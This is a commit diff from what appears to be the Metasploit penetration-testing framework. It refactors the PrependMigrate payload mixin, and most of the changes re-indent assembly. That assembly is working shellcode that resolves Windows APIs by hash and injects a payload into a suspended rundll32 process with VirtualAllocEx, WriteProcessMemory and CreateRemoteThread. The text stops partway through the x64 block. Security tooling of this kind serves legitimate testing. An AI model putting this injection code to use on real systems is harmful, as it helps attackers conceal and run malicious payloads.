Make asm spacing easier to read
Also adds a #prepends callback to Payload::Windows to make it a little clearer what's happening.bug/bundler_fix
parent
66d5f39057
commit
32aa2c6d9c
|
@ -1242,15 +1242,6 @@ class Exploit < Msf::Module
|
||||||
not datastore['DisablePayloadHandler']
|
not datastore['DisablePayloadHandler']
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Returns the state of the PrependMigrate option
|
|
||||||
# See https://github.com/rapid7/metasploit-framework/pull/917
|
|
||||||
# for discussion.
|
|
||||||
#
|
|
||||||
def prepend_migrate?
|
|
||||||
!!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true')
|
|
||||||
end
|
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
# Handler interaction
|
# Handler interaction
|
||||||
|
|
|
@ -12,7 +12,7 @@ require 'msf/core/payload/windows/prependmigrate'
|
||||||
###
|
###
|
||||||
module Msf::Payload::Windows
|
module Msf::Payload::Windows
|
||||||
|
|
||||||
include Msf::Payload::PrependMigrate
|
include Msf::Payload::Windows::PrependMigrate
|
||||||
|
|
||||||
#
|
#
|
||||||
# ROR hash associations for some of the exit technique routines.
|
# ROR hash associations for some of the exit technique routines.
|
||||||
|
@ -25,6 +25,18 @@ module Msf::Payload::Windows
|
||||||
'none' => 0x5DE2C5AA, # GetLastError
|
'none' => 0x5DE2C5AA, # GetLastError
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# @abstract Override to add additional stubs to prepend to the final
|
||||||
|
# shellcode. Be sure to call super so other modules may add stubs.
|
||||||
|
# @return [String] Stub to place at the begginning of generated shellcode
|
||||||
|
def prepends
|
||||||
|
""
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate(*args)
|
||||||
|
return prepends + super
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# This mixin is chained within payloads that target the Windows platform.
|
# This mixin is chained within payloads that target the Windows platform.
|
||||||
# It provides special variable substitution for things like EXITFUNC and
|
# It provides special variable substitution for things like EXITFUNC and
|
||||||
|
|
|
@ -5,7 +5,7 @@ require 'msf/core'
|
||||||
# This mixin provides support for generating PrependMigrate blocks for Windows payloads
|
# This mixin provides support for generating PrependMigrate blocks for Windows payloads
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
module Msf::Payload::PrependMigrate
|
module Msf::Payload::Windows::PrependMigrate
|
||||||
|
|
||||||
#
|
#
|
||||||
# Initialize
|
# Initialize
|
||||||
|
@ -21,27 +21,32 @@ module Msf::Payload::PrependMigrate
|
||||||
ret
|
ret
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the state of the PrependMigrate option
|
||||||
|
# See https://github.com/rapid7/metasploit-framework/pull/917
|
||||||
|
# for discussion.
|
||||||
|
#
|
||||||
|
def prepend_migrate?
|
||||||
|
!!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true')
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Overload the generate() call to prefix our stubs
|
# Overload the generate() call to prefix our stubs
|
||||||
#
|
#
|
||||||
def generate(*args)
|
def prepends
|
||||||
# Call the real generator to get the payload
|
# Call the real generator to get the payload
|
||||||
buf = super(*args)
|
buf = super
|
||||||
pre = ''
|
pre = ''
|
||||||
|
|
||||||
test_arch = [ *(self.arch) ]
|
test_arch = [ *(self.arch) ]
|
||||||
|
|
||||||
# Handle all x86 code here
|
if prepend_migrate?
|
||||||
if test_arch.include?(ARCH_X86)
|
# Handle all x86 code here
|
||||||
# PrependMigrate
|
if test_arch.include?(ARCH_X86)
|
||||||
if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
|
|
||||||
migrate_asm = prepend_migrate(buf)
|
migrate_asm = prepend_migrate(buf)
|
||||||
pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
|
pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
|
||||||
end
|
# Handle all x64 code here
|
||||||
# Handle all x64 code here
|
elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64)
|
||||||
elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64)
|
|
||||||
# PrependMigrate
|
|
||||||
if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
|
|
||||||
migrate_asm = prepend_migrate_64(buf)
|
migrate_asm = prepend_migrate_64(buf)
|
||||||
pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string
|
pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string
|
||||||
end
|
end
|
||||||
|
@ -57,96 +62,96 @@ module Msf::Payload::PrependMigrate
|
||||||
procname = datastore['PrependMigrateProc'] || 'rundll32'
|
procname = datastore['PrependMigrateProc'] || 'rundll32'
|
||||||
|
|
||||||
# Prepare instructions to get address of block_api into ebp
|
# Prepare instructions to get address of block_api into ebp
|
||||||
block_api_start = <<EOS
|
block_api_start = <<-EOS
|
||||||
call start
|
call start
|
||||||
EOS
|
EOS
|
||||||
block_api_asm = <<EOS
|
block_api_asm = <<-EOS
|
||||||
api_call:
|
api_call:
|
||||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||||
mov ebp, esp ; Create a new stack frame
|
mov ebp, esp ; Create a new stack frame
|
||||||
xor edx, edx ; Zero EDX
|
xor edx, edx ; Zero EDX
|
||||||
mov edx, [fs:edx+48] ; Get a pointer to the PEB
|
mov edx, [fs:edx+48] ; Get a pointer to the PEB
|
||||||
mov edx, [edx+12] ; Get PEB->Ldr
|
mov edx, [edx+12] ; Get PEB->Ldr
|
||||||
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||||
next_mod: ;
|
next_mod: ;
|
||||||
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||||
loop_modname: ;
|
loop_modname: ;
|
||||||
xor eax, eax ; Clear EAX
|
xor eax, eax ; Clear EAX
|
||||||
lodsb ; Read in the next byte of the name
|
lodsb ; Read in the next byte of the name
|
||||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||||
jl not_lowercase ;
|
jl not_lowercase ;
|
||||||
sub al, 0x20 ; If so normalise to uppercase
|
sub al, 0x20 ; If so normalise to uppercase
|
||||||
not_lowercase: ;
|
not_lowercase: ;
|
||||||
ror edi, 13 ; Rotate right our hash value
|
ror edi, 13 ; Rotate right our hash value
|
||||||
add edi, eax ; Add the next byte of the name
|
add edi, eax ; Add the next byte of the name
|
||||||
loop loop_modname ; Loop untill we have read enough
|
loop loop_modname ; Loop untill we have read enough
|
||||||
; We now have the module hash computed
|
; We now have the module hash computed
|
||||||
push edx ; Save the current position in the module list for later
|
push edx ; Save the current position in the module list for later
|
||||||
push edi ; Save the current module hash for later
|
push edi ; Save the current module hash for later
|
||||||
; Proceed to iterate the export address table
|
; Proceed to iterate the export address table
|
||||||
mov edx, [edx+16] ; Get this modules base address
|
mov edx, [edx+16] ; Get this modules base address
|
||||||
mov eax, [edx+60] ; Get PE header
|
mov eax, [edx+60] ; Get PE header
|
||||||
add eax, edx ; Add the modules base address
|
add eax, edx ; Add the modules base address
|
||||||
mov eax, [eax+120] ; Get export tables RVA
|
mov eax, [eax+120] ; Get export tables RVA
|
||||||
test eax, eax ; Test if no export address table is present
|
test eax, eax ; Test if no export address table is present
|
||||||
jz get_next_mod1 ; If no EAT present, process the next module
|
jz get_next_mod1 ; If no EAT present, process the next module
|
||||||
add eax, edx ; Add the modules base address
|
add eax, edx ; Add the modules base address
|
||||||
push eax ; Save the current modules EAT
|
push eax ; Save the current modules EAT
|
||||||
mov ecx, [eax+24] ; Get the number of function names
|
mov ecx, [eax+24] ; Get the number of function names
|
||||||
mov ebx, [eax+32] ; Get the rva of the function names
|
mov ebx, [eax+32] ; Get the rva of the function names
|
||||||
add ebx, edx ; Add the modules base address
|
add ebx, edx ; Add the modules base address
|
||||||
; Computing the module hash + function hash
|
; Computing the module hash + function hash
|
||||||
get_next_func: ;
|
get_next_func: ;
|
||||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||||
dec ecx ; Decrement the function name counter
|
dec ecx ; Decrement the function name counter
|
||||||
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||||
add esi, edx ; Add the modules base address
|
add esi, edx ; Add the modules base address
|
||||||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||||
; And compare it to the one we want
|
; And compare it to the one we want
|
||||||
loop_funcname: ;
|
loop_funcname: ;
|
||||||
xor eax, eax ; Clear EAX
|
xor eax, eax ; Clear EAX
|
||||||
lodsb ; Read in the next byte of the ASCII function name
|
lodsb ; Read in the next byte of the ASCII function name
|
||||||
ror edi, 13 ; Rotate right our hash value
|
ror edi, 13 ; Rotate right our hash value
|
||||||
add edi, eax ; Add the next byte of the name
|
add edi, eax ; Add the next byte of the name
|
||||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||||
add edi, [ebp-8] ; Add the current module hash to the function hash
|
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||||
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
||||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||||
; If found, fix up stack, call the function and then value else compute the next one...
|
; If found, fix up stack, call the function and then value else compute the next one...
|
||||||
pop eax ; Restore the current modules EAT
|
pop eax ; Restore the current modules EAT
|
||||||
mov ebx, [eax+36] ; Get the ordinal table rva
|
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||||
add ebx, edx ; Add the modules base address
|
add ebx, edx ; Add the modules base address
|
||||||
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||||
mov ebx, [eax+28] ; Get the function addresses table rva
|
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||||
add ebx, edx ; Add the modules base address
|
add ebx, edx ; Add the modules base address
|
||||||
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||||
add eax, edx ; Add the modules base address to get the functions actual VA
|
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||||
; We now fix up the stack and perform the call to the desired function...
|
; We now fix up the stack and perform the call to the desired function...
|
||||||
finish:
|
finish:
|
||||||
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||||
pop ebx ; Clear off the current modules hash
|
pop ebx ; Clear off the current modules hash
|
||||||
pop ebx ; Clear off the current position in the module list
|
pop ebx ; Clear off the current position in the module list
|
||||||
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
||||||
pop ecx ; Pop off the origional return address our caller will have pushed
|
pop ecx ; Pop off the origional return address our caller will have pushed
|
||||||
pop edx ; Pop off the hash value our caller will have pushed
|
pop edx ; Pop off the hash value our caller will have pushed
|
||||||
push ecx ; Push back the correct return value
|
push ecx ; Push back the correct return value
|
||||||
jmp eax ; Jump into the required function
|
jmp eax ; Jump into the required function
|
||||||
; We now automagically return to the correct caller...
|
; We now automagically return to the correct caller...
|
||||||
get_next_mod: ;
|
get_next_mod: ;
|
||||||
pop eax ; Pop off the current (now the previous) modules EAT
|
pop eax ; Pop off the current (now the previous) modules EAT
|
||||||
get_next_mod1: ;
|
get_next_mod1: ;
|
||||||
pop edi ; Pop off the current (now the previous) modules hash
|
pop edi ; Pop off the current (now the previous) modules hash
|
||||||
pop edx ; Restore our position in the module list
|
pop edx ; Restore our position in the module list
|
||||||
mov edx, [edx] ; Get the next module
|
mov edx, [edx] ; Get the next module
|
||||||
jmp.i8 next_mod ; Process this module
|
jmp.i8 next_mod ; Process this module
|
||||||
;--------------------------------------------------------------------------------------
|
;--------------------------------------------------------------------------------------
|
||||||
EOS
|
EOS
|
||||||
block_api_ebp_asm = <<EOS
|
block_api_ebp_asm = <<-EOS
|
||||||
pop ebp ; Pop off the address of 'api_call' for calling later.
|
pop ebp ; Pop off the address of 'api_call' for calling later.
|
||||||
EOS
|
EOS
|
||||||
block_close_to_payload = ''
|
block_close_to_payload = ''
|
||||||
|
|
||||||
# Check if we can find block_api in the payload
|
# Check if we can find block_api in the payload
|
||||||
|
@ -156,114 +161,114 @@ EOS
|
||||||
|
|
||||||
# Prepare instructions to calculate address
|
# Prepare instructions to calculate address
|
||||||
ebp_offset = "0x%04x" % (block_api_index + 5)
|
ebp_offset = "0x%04x" % (block_api_index + 5)
|
||||||
block_api_ebp_asm = <<EOS
|
block_api_ebp_asm = <<-EOS
|
||||||
jmp close_to_payload
|
jmp close_to_payload
|
||||||
return_from_close_to_payload:
|
return_from_close_to_payload:
|
||||||
pop ebp
|
pop ebp
|
||||||
add ebp, #{ebp_offset}
|
add ebp, #{ebp_offset}
|
||||||
EOS
|
EOS
|
||||||
# Clear now-unneeded instructions
|
# Clear now-unneeded instructions
|
||||||
block_api_asm = ''
|
block_api_asm = ''
|
||||||
block_api_start = ''
|
block_api_start = ''
|
||||||
block_close_to_payload = <<EOS
|
block_close_to_payload = <<-EOS
|
||||||
close_to_payload:
|
close_to_payload:
|
||||||
call return_from_close_to_payload
|
call return_from_close_to_payload
|
||||||
EOS
|
EOS
|
||||||
end
|
end
|
||||||
|
|
||||||
#put all pieces together
|
#put all pieces together
|
||||||
migrate_asm = <<EOS
|
migrate_asm = <<-EOS
|
||||||
cld ; Clear the direction flag.
|
cld ; Clear the direction flag.
|
||||||
#{block_api_start}
|
#{block_api_start}
|
||||||
#{block_api_asm}
|
#{block_api_asm}
|
||||||
start:
|
start:
|
||||||
#{block_api_ebp_asm}
|
#{block_api_ebp_asm}
|
||||||
; get our own startupinfo at esp+0x60
|
; get our own startupinfo at esp+0x60
|
||||||
add esp,-400 ; adjust the stack to avoid corruption
|
add esp,-400 ; adjust the stack to avoid corruption
|
||||||
lea edx,[esp+0x60]
|
lea edx,[esp+0x60]
|
||||||
push edx
|
push edx
|
||||||
push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
|
push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
|
||||||
call ebp ; GetStartupInfoA( &si );
|
call ebp ; GetStartupInfoA( &si );
|
||||||
|
|
||||||
lea eax,[esp+0x60] ; Put startupinfo pointer back in eax
|
lea eax,[esp+0x60] ; Put startupinfo pointer back in eax
|
||||||
|
|
||||||
jmp getcommand
|
jmp getcommand
|
||||||
gotcommand:
|
gotcommand:
|
||||||
pop esi ; esi = address of process name (command line)
|
pop esi ; esi = address of process name (command line)
|
||||||
|
|
||||||
; create the process
|
; create the process
|
||||||
lea edi,[eax+0x60] ; Offset of empty space for lpProcessInformation
|
lea edi,[eax+0x60] ; Offset of empty space for lpProcessInformation
|
||||||
push edi ; lpProcessInformation : write processinfo here
|
push edi ; lpProcessInformation : write processinfo here
|
||||||
push eax ; lpStartupInfo : current info (read)
|
push eax ; lpStartupInfo : current info (read)
|
||||||
xor ebx,ebx
|
xor ebx,ebx
|
||||||
push ebx ; lpCurrentDirectory
|
push ebx ; lpCurrentDirectory
|
||||||
push ebx ; lpEnvironment
|
push ebx ; lpEnvironment
|
||||||
push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
|
push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
|
||||||
push ebx ; bInHeritHandles
|
push ebx ; bInHeritHandles
|
||||||
push ebx ; lpThreadAttributes
|
push ebx ; lpThreadAttributes
|
||||||
push ebx ; lpProcessAttributes
|
push ebx ; lpProcessAttributes
|
||||||
push esi ; lpCommandLine
|
push esi ; lpCommandLine
|
||||||
push ebx ; lpApplicationName
|
push ebx ; lpApplicationName
|
||||||
|
|
||||||
push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
|
push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
|
||||||
call ebp ; CreateProcessA( &si );
|
call ebp ; CreateProcessA( &si );
|
||||||
|
|
||||||
; if we didn't get a new process, use this one
|
; if we didn't get a new process, use this one
|
||||||
test eax,eax
|
test eax,eax
|
||||||
jnz goodProcess ; Skip this next block if we got a new process
|
jnz goodProcess ; Skip this next block if we got a new process
|
||||||
dec eax
|
dec eax
|
||||||
mov [edi], eax ; handle = NtCurrentProcess()
|
mov [edi], eax ; handle = NtCurrentProcess()
|
||||||
|
|
||||||
goodProcess:
|
goodProcess:
|
||||||
; allocate memory in the process (VirtualAllocEx())
|
; allocate memory in the process (VirtualAllocEx())
|
||||||
; get handle
|
; get handle
|
||||||
push 0x40 ; RWX
|
push 0x40 ; RWX
|
||||||
add bh,0x10 ; ebx = 0x1000
|
add bh,0x10 ; ebx = 0x1000
|
||||||
push ebx ; MEM_COMMIT
|
push ebx ; MEM_COMMIT
|
||||||
push ebx ; size
|
push ebx ; size
|
||||||
xor ebx,ebx
|
xor ebx,ebx
|
||||||
push ebx ; address
|
push ebx ; address
|
||||||
push [edi] ; handle
|
push [edi] ; handle
|
||||||
push 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
|
push 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
|
||||||
call ebp ; VirtualAllocEx( ...);
|
call ebp ; VirtualAllocEx( ...);
|
||||||
|
|
||||||
; eax now contains the destination
|
; eax now contains the destination
|
||||||
; WriteProcessMemory()
|
; WriteProcessMemory()
|
||||||
push esp ; lpNumberOfBytesWritten
|
push esp ; lpNumberOfBytesWritten
|
||||||
push #{payloadsize} ; nSize
|
push #{payloadsize} ; nSize
|
||||||
; pick up pointer to shellcode & keep it on stack
|
; pick up pointer to shellcode & keep it on stack
|
||||||
jmp begin_of_payload
|
jmp begin_of_payload
|
||||||
begin_of_payload_return: ; lpBuffer
|
begin_of_payload_return: ; lpBuffer
|
||||||
push eax ; lpBaseAddress
|
push eax ; lpBaseAddress
|
||||||
push [edi] ; hProcess
|
push [edi] ; hProcess
|
||||||
push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
|
push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
|
||||||
call ebp ; WriteProcessMemory( ...)
|
call ebp ; WriteProcessMemory( ...)
|
||||||
|
|
||||||
; run the code (CreateRemoteThread())
|
; run the code (CreateRemoteThread())
|
||||||
push ebx ; lpthreadID
|
push ebx ; lpthreadID
|
||||||
push ebx ; run immediately
|
push ebx ; run immediately
|
||||||
push ebx ; no parameter
|
push ebx ; no parameter
|
||||||
mov ecx,[esp-0x4]
|
mov ecx,[esp-0x4]
|
||||||
push ecx ; shellcode
|
push ecx ; shellcode
|
||||||
push ebx ; stacksize
|
push ebx ; stacksize
|
||||||
push ebx ; lpThreadAttributes
|
push ebx ; lpThreadAttributes
|
||||||
push [edi]
|
push [edi]
|
||||||
push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
|
push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
|
||||||
call ebp ; CreateRemoteThread( ...);
|
call ebp ; CreateRemoteThread( ...);
|
||||||
|
|
||||||
;sleep
|
;sleep
|
||||||
push -1
|
push -1
|
||||||
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
|
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
|
||||||
call ebp ; Sleep( ... );
|
call ebp ; Sleep( ... );
|
||||||
|
|
||||||
getcommand:
|
getcommand:
|
||||||
call gotcommand
|
call gotcommand
|
||||||
db "#{procname}"
|
db "#{procname}"
|
||||||
db 0x00
|
db 0x00
|
||||||
#{block_close_to_payload}
|
#{block_close_to_payload}
|
||||||
begin_of_payload:
|
begin_of_payload:
|
||||||
call begin_of_payload_return
|
call begin_of_payload_return
|
||||||
EOS
|
EOS
|
||||||
migrate_asm
|
migrate_asm
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -273,102 +278,102 @@ EOS
|
||||||
procname = datastore['PrependMigrateProc'] || 'rundll32'
|
procname = datastore['PrependMigrateProc'] || 'rundll32'
|
||||||
|
|
||||||
# Prepare instructions to get address of block_api into ebp
|
# Prepare instructions to get address of block_api into ebp
|
||||||
block_api_start = <<EOS
|
block_api_start = <<-EOS
|
||||||
call start
|
call start
|
||||||
EOS
|
EOS
|
||||||
block_api_asm = <<EOS
|
block_api_asm = <<-EOS
|
||||||
api_call:
|
api_call:
|
||||||
push r9 ; Save the 4th parameter
|
push r9 ; Save the 4th parameter
|
||||||
push r8 ; Save the 3rd parameter
|
push r8 ; Save the 3rd parameter
|
||||||
push rdx ; Save the 2nd parameter
|
push rdx ; Save the 2nd parameter
|
||||||
push rcx ; Save the 1st parameter
|
push rcx ; Save the 1st parameter
|
||||||
push rsi ; Save RSI
|
push rsi ; Save RSI
|
||||||
xor rdx, rdx ; Zero rdx
|
xor rdx, rdx ; Zero rdx
|
||||||
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
|
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
|
||||||
mov rdx, [rdx+24] ; Get PEB->Ldr
|
mov rdx, [rdx+24] ; Get PEB->Ldr
|
||||||
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
|
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
|
||||||
next_mod: ;
|
next_mod: ;
|
||||||
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
|
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
|
||||||
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
|
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
|
||||||
xor r9, r9 ; Clear r9 which will store the hash of the module name
|
xor r9, r9 ; Clear r9 which will store the hash of the module name
|
||||||
loop_modname: ;
|
loop_modname: ;
|
||||||
xor rax, rax ; Clear rax
|
xor rax, rax ; Clear rax
|
||||||
lodsb ; Read in the next byte of the name
|
lodsb ; Read in the next byte of the name
|
||||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||||
jl not_lowercase ;
|
jl not_lowercase ;
|
||||||
sub al, 0x20 ; If so normalise to uppercase
|
sub al, 0x20 ; If so normalise to uppercase
|
||||||
not_lowercase: ;
|
not_lowercase: ;
|
||||||
ror r9d, 13 ; Rotate right our hash value
|
ror r9d, 13 ; Rotate right our hash value
|
||||||
add r9d, eax ; Add the next byte of the name
|
add r9d, eax ; Add the next byte of the name
|
||||||
loop loop_modname ; Loop untill we have read enough
|
loop loop_modname ; Loop untill we have read enough
|
||||||
; We now have the module hash computed
|
; We now have the module hash computed
|
||||||
push rdx ; Save the current position in the module list for later
|
push rdx ; Save the current position in the module list for later
|
||||||
push r9 ; Save the current module hash for later
|
push r9 ; Save the current module hash for later
|
||||||
; Proceed to itterate the export address table
|
; Proceed to itterate the export address table
|
||||||
mov rdx, [rdx+32] ; Get this modules base address
|
mov rdx, [rdx+32] ; Get this modules base address
|
||||||
mov eax, dword [rdx+60] ; Get PE header
|
mov eax, dword [rdx+60] ; Get PE header
|
||||||
add rax, rdx ; Add the modules base address
|
add rax, rdx ; Add the modules base address
|
||||||
mov eax, dword [rax+136] ; Get export tables RVA
|
mov eax, dword [rax+136] ; Get export tables RVA
|
||||||
test rax, rax ; Test if no export address table is present
|
test rax, rax ; Test if no export address table is present
|
||||||
jz get_next_mod1 ; If no EAT present, process the next module
|
jz get_next_mod1 ; If no EAT present, process the next module
|
||||||
add rax, rdx ; Add the modules base address
|
add rax, rdx ; Add the modules base address
|
||||||
push rax ; Save the current modules EAT
|
push rax ; Save the current modules EAT
|
||||||
mov ecx, dword [rax+24] ; Get the number of function names
|
mov ecx, dword [rax+24] ; Get the number of function names
|
||||||
mov r8d, dword [rax+32] ; Get the rva of the function names
|
mov r8d, dword [rax+32] ; Get the rva of the function names
|
||||||
add r8, rdx ; Add the modules base address
|
add r8, rdx ; Add the modules base address
|
||||||
; Computing the module hash + function hash
|
; Computing the module hash + function hash
|
||||||
get_next_func: ;
|
get_next_func: ;
|
||||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||||
dec rcx ; Decrement the function name counter
|
dec rcx ; Decrement the function name counter
|
||||||
mov esi, dword [r8+rcx*4]; Get rva of next module name
|
mov esi, dword [r8+rcx*4]; Get rva of next module name
|
||||||
add rsi, rdx ; Add the modules base address
|
add rsi, rdx ; Add the modules base address
|
||||||
xor r9, r9 ; Clear r9 which will store the hash of the function name
|
xor r9, r9 ; Clear r9 which will store the hash of the function name
|
||||||
; And compare it to the one we want
|
; And compare it to the one we want
|
||||||
loop_funcname: ;
|
loop_funcname: ;
|
||||||
xor rax, rax ; Clear rax
|
xor rax, rax ; Clear rax
|
||||||
lodsb ; Read in the next byte of the ASCII function name
|
lodsb ; Read in the next byte of the ASCII function name
|
||||||
ror r9d, 13 ; Rotate right our hash value
|
ror r9d, 13 ; Rotate right our hash value
|
||||||
add r9d, eax ; Add the next byte of the name
|
add r9d, eax ; Add the next byte of the name
|
||||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||||
add r9, [rsp+8] ; Add the current module hash to the function hash
|
add r9, [rsp+8] ; Add the current module hash to the function hash
|
||||||
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
|
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
|
||||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||||
; If found, fix up stack, call the function and then value else compute the next one...
|
; If found, fix up stack, call the function and then value else compute the next one...
|
||||||
pop rax ; Restore the current modules EAT
|
pop rax ; Restore the current modules EAT
|
||||||
mov r8d, dword [rax+36] ; Get the ordinal table rva
|
mov r8d, dword [rax+36] ; Get the ordinal table rva
|
||||||
add r8, rdx ; Add the modules base address
|
add r8, rdx ; Add the modules base address
|
||||||
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
|
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
|
||||||
mov r8d, dword [rax+28] ; Get the function addresses table rva
|
mov r8d, dword [rax+28] ; Get the function addresses table rva
|
||||||
add r8, rdx ; Add the modules base address
|
add r8, rdx ; Add the modules base address
|
||||||
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
|
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
|
||||||
add rax, rdx ; Add the modules base address to get the functions actual VA
|
add rax, rdx ; Add the modules base address to get the functions actual VA
|
||||||
; We now fix up the stack and perform the call to the drsired function...
|
; We now fix up the stack and perform the call to the drsired function...
|
||||||
finish:
|
finish:
|
||||||
pop r8 ; Clear off the current modules hash
|
pop r8 ; Clear off the current modules hash
|
||||||
pop r8 ; Clear off the current position in the module list
|
pop r8 ; Clear off the current position in the module list
|
||||||
pop rsi ; Restore RSI
|
pop rsi ; Restore RSI
|
||||||
pop rcx ; Restore the 1st parameter
|
pop rcx ; Restore the 1st parameter
|
||||||
pop rdx ; Restore the 2nd parameter
|
pop rdx ; Restore the 2nd parameter
|
||||||
pop r8 ; Restore the 3rd parameter
|
pop r8 ; Restore the 3rd parameter
|
||||||
pop r9 ; Restore the 4th parameter
|
pop r9 ; Restore the 4th parameter
|
||||||
pop r10 ; pop off the return address
|
pop r10 ; pop off the return address
|
||||||
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
|
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
|
||||||
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
|
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
|
||||||
push r10 ; push back the return address
|
push r10 ; push back the return address
|
||||||
jmp rax ; Jump into the required function
|
jmp rax ; Jump into the required function
|
||||||
; We now automagically return to the correct caller...
|
; We now automagically return to the correct caller...
|
||||||
get_next_mod: ;
|
get_next_mod: ;
|
||||||
pop rax ; Pop off the current (now the previous) modules EAT
|
pop rax ; Pop off the current (now the previous) modules EAT
|
||||||
get_next_mod1: ;
|
get_next_mod1: ;
|
||||||
pop r9 ; Pop off the current (now the previous) modules hash
|
pop r9 ; Pop off the current (now the previous) modules hash
|
||||||
pop rdx ; Restore our position in the module list
|
pop rdx ; Restore our position in the module list
|
||||||
mov rdx, [rdx] ; Get the next module
|
mov rdx, [rdx] ; Get the next module
|
||||||
